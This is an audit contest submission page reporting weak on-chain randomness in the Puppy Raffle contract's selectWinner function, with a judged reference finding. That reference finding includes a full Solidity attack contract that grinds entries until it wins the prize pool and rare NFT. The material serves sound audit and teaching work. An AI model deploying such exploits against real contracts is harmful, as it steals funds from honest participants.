Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Randomness can be gamed: weak on-chain randomness in `selectWinner` (block.timestamp/block.difficulty/msg.sender) lets an attacker win

hopeh

Description

The intended behavior is that selectWinner picks a random participant as winner and assigns a random rarity to the minted NFT.

The specific issue is that both "random" values are derived entirely from on-chain data known/influenceable at execution time, so the outcome is predictable and manipulable (weak on-chain randomness).

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @> predictable
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100; // @> predictable

msg.sender, block.timestamp, and block.difficulty/prevrandao are all known to the caller, and a validator can influence timestamp/difficulty. An attacker computes the result off-chain for the pending block and only submits selectWinner when the hash makes them the winner (and grants a legendary puppy).

Risk

Likelihood: High

  • selectWinner is permissionless; computing the keccak for the pending block is trivial, and validators can grind timestamp/difficulty.

Impact: High

  • The raffle is unfair: an attacker can guarantee they win the prize pool and obtain the rarest NFT, extracting value from every honest participant.

Proof of Concept

// Attacker precomputes keccak256(abi.encodePacked(attacker, block.timestamp, block.difficulty)) % players.length;
// if it equals their index, they call selectWinner() in that block and win; otherwise they wait.

Recommended Mitigation

Use a secure, verifiable randomness source such as Chainlink VRF. Never derive winner selection from block.timestamp/block.difficulty/msg.sender.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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